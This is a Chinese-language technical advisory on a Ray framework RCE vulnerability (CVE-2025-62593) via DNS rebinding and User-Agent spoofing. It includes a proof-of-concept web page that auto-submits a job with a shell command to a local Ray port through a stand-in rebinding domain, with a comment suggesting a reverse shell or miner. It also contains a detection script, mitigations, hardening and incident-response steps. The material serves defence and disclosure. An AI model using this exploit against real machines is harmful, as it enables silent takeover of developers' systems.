2025年11月公开披露、2026年8月被CISA正式录入KEV已知在野利用清单的Ray框架高危漏洞正在大规模威胁所有AI开发者本地开发环境与内网Ray集群。不同于常规需要用户主动触发、权限要求苛刻的漏洞CVE-2025-62593的攻击门槛极低开发者只要本地启动Ray服务使用Firefox、Safari浏览器访问任意恶意网页、恶意广告、被劫持站点无需点击任何链接、无需授权攻击者即可完成远程代码执行直接接管开发机权限。该漏洞CVSS v4评分高达9.4分属于顶级严重级别。目前全网公开PoC、自动化攻击工具已经泛滥黑产团队已经将其纳入AI开发机批量挖矿、内网横向渗透的常规武器。绝大多数AI算法工程师、机器学习开发者对该漏洞认知空白日常开发常驻启动Ray服务长期暴露高危端口处于裸奔状态。本文从底层源码缺陷、浏览器机制、DNS协议特性三个第一性原理角度完整拆解漏洞本质摒弃表层现象解读同时提供可直接落地的漏洞检测脚本、环境自查方案、临时应急策略、永久修复方案、集群加固配置适配个人开发机、企业内网集群、线上生产环境三种场景是目前最完整的Ray框架该漏洞实战落地文档。一、漏洞基础核心信息精准无冗余为避免信息偏差所有参数均同步NVD、CISA、Ray官方安全公告权威数据剔除网传错误信息。漏洞编号CVE-2025-62593风险等级严重CVSS v4 9.4在野状态CISA KEV收录公开PoC、自动化攻击工具可用真实攻击案例频发影响产品Ray AI分布式计算框架Python生态主流ML/AI调度框架受影响版本所有 Ray 版本 2.52.0安全版本Ray ≥ 2.52.0官方最优稳定修复版本为2.52.1核心触发条件本地/内网运行Ray服务默认开启8265 Dashboard端口、受害者使用Firefox/Safari浏览器联网豁免场景仅Chrome/Edge浏览器默认环境可抵御该攻击链非永久安全仍建议升级最终权限等同于Ray进程运行用户权限普通用户启动即可接管用户目录root启动可完全控制服务器攻击核心链DNS重绑定同源绕过 浏览器UA校验绕过 Ray Jobs API无鉴权 无条件RCE二、漏洞底层根因第一性原理拆解所有高危通用漏洞的核心问题均不是单一功能BUG而是错误的安全设计叠加协议特性滥用。CVE-2025-62593的致命缺陷完全源于Ray官方不合理的安全防护逻辑再结合浏览器标准特性、DNS协议缓存机制形成的组合攻击面。2.1 致命设计缺陷基于UA头的伪安全防护Ray框架为了防止浏览器跨源攻击本地Dashboard服务没有采用行业标准的Token鉴权、本地IP白名单、跨域校验机制而是选择了最简单、最脆弱的启发式判断识别请求User-Agent是否以Mozilla开头以此区分浏览器请求与程序请求。Ray源码中核心防护逻辑如下所有漏洞版本通用defis_browser_request(req:Request)-bool:判断当前请求是否来自浏览器拦截高危操作uareq.headers.get(user-agent,)# 核心缺陷仅通过前缀匹配拦截浏览器请求returnua.startswith(Mozilla)官方设计初衷所有主流浏览器的默认UA头均以Mozilla开头只要拦截该类请求就能阻止网页JS调用高危API。这个逻辑在十年前的静态网页场景勉强成立但完全不适用于现代前端Fetch API。2.2 浏览器机制突破Firefox/Safari允许篡改UA头这是整个漏洞成立的关键前置条件也是很多技术文章混淆的知识点。Chrome、Edge浏览器对Fetch API做了强制限制禁止前端JS脚本修改User-Agent、Host等安全敏感请求头从链路源头阻断攻击。但Firefox、Safari严格遵循W3C原始Fetch规范完全允许开发者自定义覆盖User-Agent请求头。恶意网页只需一段简单JS即可清空默认Mozilla标识伪造程序请求直接绕过Ray的核心防护规则。这不是浏览器漏洞是标准规范特性属于Ray安全团队对前端生态认知不足导致的设计失误。2.3 DNS重绑定击穿浏览器同源策略浏览器同源策略是本地服务的最后一道安全屏障正常情况下外网恶意域名的JS无法请求本地127.0.0.1端口服务。DNS重绑定攻击的核心就是利用DNS缓存TTL机制欺骗浏览器同源校验逻辑。攻击核心原理攻击者配置自定义域名设置极短DNS TTL1-3秒。第一次域名解析返回攻击者公网IP浏览器加载恶意页面完成域名信任绑定。TTL过期后二次解析强制刷新为127.0.0.1浏览器不会更新同源标识仍将该域名判定为合法可信源允许JS跨源请求本地所有端口服务。2.4 无底线权限接口Jobs API零鉴权Ray的Dashboard /api/jobs、/api/job_agent/jobs/ 接口是框架核心作业提交接口设计用于提交Python脚本、系统命令、分布式任务。在漏洞版本中该接口默认无任何身份认证、无权限校验、无IP限制。只要请求绕过浏览器UA拦截规则即可直接提交恶意Job通过entrypoint参数执行任意系统命令。这是漏洞最终实现RCE的落脚点也是危害等级拉满的核心原因。三、完整攻击链路可视化架构流程双图为清晰展示从用户浏览网页到主机沦陷的完整过程下面提供架构拓扑图与分步流程图完整还原攻击全链路。3.1 漏洞攻击架构拓扑图Firefox/Safari浏览器受害者开发机攻击者DNS服务器攻击者服务器Firefox/Safari浏览器受害者开发机攻击者DNS服务器攻击者服务器本地常驻 Ray 服务 127.0.0.1:8265浏览器建立外网域名信任关系同源策略失效允许访问本地端口配置恶意域名短TTL双IP轮换访问恶意域名首次DNS查询返回攻击者公网IP加载恶意JSTTL过期二次解析返回127.0.0.1JS篡改UA头绕过Ray防护调用/api/jobs提交恶意执行命令Ray进程执行恶意代码RCE生效反弹Shell/回传数据/植入木马3.2 分步攻击流程逻辑图常驻后台开放8265端口1.首次DNS解析公网IP2.DNS缓存过期3.同源策略绕过4.绕过Ray浏览器检测5.零鉴权提交恶意Job6.获取Ray进程权限受害者启动Ray服务使用Firefox/Safari访问恶意网页浏览器加载恶意JS脚本域名重绑定至127.0.0.1JS自定义伪造非Mozilla UA头调用本地8265端口Jobs API系统命令执行RCE控制开发机/横向渗透内网四、漏洞实战复现纯原理演示仅限授权安全测试本节提供完整可运行的PoC核心代码与复现步骤所有内容仅用于企业安全自查、开发者漏洞验证严禁用于未授权攻击。复现环境Python 3.9 Ray 2.51.0漏洞版本 Firefox最新版。4.1 环境准备漏洞环境搭建安装存在漏洞的Ray版本启动本地服务# 安装漏洞版本Raypipinstallray2.51.0# 启动本地Ray服务默认监听127.0.0.1:8265ray start--head# 验证端口监听状态netstat-ano|grep82654.2 恶意页面核心PoC代码该页面实现DNS重绑定完成后的UA绕过、恶意任务提交可直接本地搭建测试!DOCTYPEhtmlhtmlbodyscript// 自定义恶意域名需配置DNS重绑定解析consttargetDomainevil-dns-rebind.com;// Ray本地API接口constrayApihttp://${targetDomain}:8265/api/jobs;asyncfunctionrayRceExploit(){try{// 篡改UA头绕过Mozilla检测constresawaitfetch(rayApi,{method:POST,headers:{User-Agent:custom-bypass-agent/1.0,Content-Type:application/json},// 恶意执行命令可替换为反弹Shell、挖矿、文件读取等payloadbody:JSON.stringify({entrypoint:bash -c echo VULN_CVE202562593 /tmp/ray_pwn.txt,runtime_env:{},metadata:{}})});constdataawaitres.json();console.log(漏洞利用成功任务ID,data.job_id);}catch(e){console.log(攻击执行异常,e);}}// 页面加载自动执行攻击rayRceExploit();/script/body/html4.3 复现结果验证浏览器访问恶意页面后无需任何操作直接查看受害者机器/tmp目录即可看到ray_pwn.txt文件生成证明命令执行成功。攻击者可替换entrypoint参数为任意系统命令实现完全控权。需要重点强调整个过程用户无感知无弹窗、无授权、无页面跳转后台静默完成攻击。五、全网通用漏洞检测脚本一键自查针对个人开发者、企业运维人员编写一键检测脚本可自动检测本机Ray版本、端口监听状态、漏洞风险等级适配Linux、MacOS全平台。#!/usr/bin/env python3# CVE-2025-62593 漏洞一键检测脚本# 适用系统Linux / MacOS# 作者安全实战专栏importsubprocessimportsysimportredefcheck_ray_version():检测Ray安装版本try:ressubprocess.check_output([sys.executable,-m,pip,show,ray],encodingutf-8)version_matchre.search(rVersion:\s(\d\.\d\.\d),res)ifnotversion_match:returnNonereturnversion_match.group(1)exceptException:returnNonedefcheck_ray_port():检测8265端口监听状态try:ifsys.platformdarwin:ressubprocess.check_output([lsof,-i,:8265],encodingutf-8)else:ressubprocess.check_output([ss,-tuln,|grep,8265],shellTrue,encodingutf-8)returnlen(res.strip())0exceptException:returnFalsedefversion_cmp(ver):版本对比判断是否存在漏洞try:major,minor,patchmap(int,ver.split(.))# 小于2.52.0均为漏洞版本ifmajor2:returnTrueelifmajor2andminor52:returnTrueelse:returnFalseexceptException:returnTruedefmain():print(*60)print(CVE-2025-62593 Ray RCE 漏洞检测工具)print(*60)vercheck_ray_version()ifnotver:print([√] 未检测到Ray框架无漏洞风险)returnprint(f[!] 当前Ray版本{ver})port_opencheck_ray_port()print(f[!] 8265端口监听状态{开启ifport_openelse关闭})ifversion_cmp(ver):print(\n[危险] 你的Ray版本存在CVE-2025-62593高危漏洞)ifport_open:print([高危预警] Ray服务正在运行可被远程直接利用建议立即停止服务并升级)else:print([风险提示] 版本漏洞存在启动服务后即可被攻击请尽快升级)else:print(\n[√] 当前Ray版本已修复漏洞安全无风险)print(*60)if__name____main__:main()使用方法直接保存为ray_scan.pypython3 ray_scan.py 即可一键自查。六、分场景修复与加固方案临时永久集群很多开发者无法立刻升级框架本文区分紧急临时缓解、永久安全修复、企业集群加固三种方案适配不同业务场景兼顾安全性和业务可用性。6.1 紧急临时缓解立刻落地零业务影响适用于正在开发调试、无法立刻升级Ray的场景快速封堵攻击面关闭闲置Ray服务开发结束立即执行 ray stop禁止后台常驻8265端口从源头关闭攻击入口浏览器使用限制开发机运行Ray期间仅使用Chrome/Edge浏览器上网暂时弃用Firefox、Safari本地端口绑定加固强制Ray仅本地回环监听禁止内网/外网访问默认启动命令优化# 加固启动命令仅监听127.0.0.1拒绝所有外部访问ray start--head--dashboard-address127.0.0.1:82656.2 永久修复方案官方标准解决方案唯一彻底根除漏洞的方式是升级Ray至安全版本推荐稳定修复版2.52.1# 升级Ray至安全版本pipinstall--upgraderay2.52.1# 升级后重启服务生效ray stop ray start--head# 验证版本是否升级成功ray--version本次官方修复核心改动两点彻底杜绝该类攻击1. 废弃基于User-Agent的脆弱启发式防护彻底删除不可靠的UA校验逻辑2. 新增全局Job API Token鉴权机制所有作业提交请求必须携带合法Token无Token直接拦截从接口层面杜绝未授权访问。6.3 企业集群深度加固方案生产环境必备企业内网Ray集群、线上生产环境除升级版本外需叠加多层防护实现纵深防御开启全局鉴权Token集群启动强制配置随机强密钥杜绝匿名访问# 生成随机高强度Token并启动集群exportRAY_DASHBOARD_AUTH_TOKEN$(openssl rand-hex32)ray start--head--ray-dashboard-auth-token$RAY_DASHBOARD_AUTH_TOKEN防火墙端口隔离服务器防火墙禁止8265端口对公网、内网开放仅本机业务进程可访问日志审计开启开启Ray Job全量日志记录实时监控异常作业提交行为浏览器访问隔离生产服务器禁止安装Firefox、Safari杜绝DNS重绑定攻击链路版本基线管控企业Python环境统一锁定Ray安全版本禁止开发者私自降级七、风险场景深度复盘与避坑指南该漏洞能够被CISA紧急预警、在野大规模利用核心原因不是漏洞本身复杂而是开发者普遍存在的不良开发习惯框架默认不安全设计叠加导致。绝大多数AI开发者的开发模式存在致命安全隐患本地长期常驻Ray服务、默认开启无鉴权Dashboard、开发机同时承担上网浏览、代码调试、模型训练多重功能相当于把核心开发机器直接暴露在公网攻击面中。很多人误以为“本地端口只有自己能访问”忽略了DNS重绑定浏览器代理的攻击模式。浏览器是用户本地权限的最高代理一旦被恶意页面操控可直接穿透本地端口隔离访问所有本地监听服务。同时行业普遍存在的安全误区依赖前端UA头、IP地址、请求特征做安全校验。所有客户端可控的请求特征都不能作为安全防护依据User-Agent、Referer、Cookie前端均可随意篡改真正的安全防护必须落地在服务端鉴权、权限校验、网络隔离层面。八、入侵排查与应急处置流程若你的机器长期运行漏洞版本Ray需立即开展入侵排查避免恶意后门驻留8.1 日志排查查看Ray默认日志目录排查异常Job提交记录、陌生执行任务# 查看Ray作业日志ls-la~/ray_results/# 检索异常命令执行记录grep-rbash -c\|curl\|wget\|base64~/ray_results/8.2 进程与启动项排查# 排查陌生Python、bash异常子进程ps-aux|grep-Eray|python|bash|grep-vgrep# 检查开机自启、定时任务后门crontab-lls-la/etc/cron.d/8.3 应急处置步骤1. 立即执行ray stop关停所有Ray服务切断攻击链路2. 运行本文检测脚本确认漏洞状态3. 升级Ray至安全版本4. 清理异常进程、定时任务、可疑文件5. 修改本机用户密码排查内网横向渗透痕迹。九、文末互动提问1. 你日常开发中是否会长期后台常驻Ray服务看完本文后你会调整哪些开发习惯2. 除了Ray框架你还遇到过哪些「客户端特征校验替代服务端鉴权」的高危漏洞欢迎在评论区交流。